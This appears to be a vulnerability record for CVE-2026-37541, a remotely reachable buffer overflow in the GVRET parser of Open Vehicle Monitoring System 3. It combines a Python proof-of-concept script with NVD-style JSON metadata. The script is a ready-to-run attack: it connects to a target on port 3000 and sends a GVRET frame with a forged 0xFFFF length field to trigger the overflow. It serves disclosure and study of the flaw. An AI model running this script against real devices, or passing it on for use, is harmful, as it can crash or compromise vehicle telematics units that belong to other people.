CVE-2026-37541

import socket import struct # Target IP and Port (Placeholder) TARGET_IP = "192.168.1.100" TARGET_PORT = 3000 def craft_gvret_frame(payload_length): # GVRET packet structure simulation # Length field is maliciously set to a large value to trigger overflow command = 0x08 length = payload_length # Construct header (Command + Length) header = struct.pack('<BH', command, length) # Minimal payload to trigger the copy logic payload = b'A' * 10 return header + payload def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Craft a packet claiming large length (e.g., 0xFFFF) malicious_packet = craft_gvret_frame(0xFFFF) s.send(malicious_packet) print(f"[+] Malicious GVRET packet sent to {TARGET_IP}:{TARGET_PORT}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-37541", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:24.083", "lastModified": "2026-05-07T19:16:00.437", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow vulnerability in Open Vehicle Monitoring System 3 (OVMS3) 3.3.005. In canformat_gvret.cpp, the length field in GVRET binary data is not properly validated, allowing remote attackers to cause a denial of service or possibly execute arbitrary code via crafted GVRET frames."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381", "source": "[email protected]"}, {"url": "https://github.com/openvehicles/Open-Vehicle-Monitoring-System-3", "source": "[email protected]"}, {"url": "https://github.com/openvehicles/Open-Vehicle-Monitoring-System-3/issues/1393", "source": "[email protected]"}]}}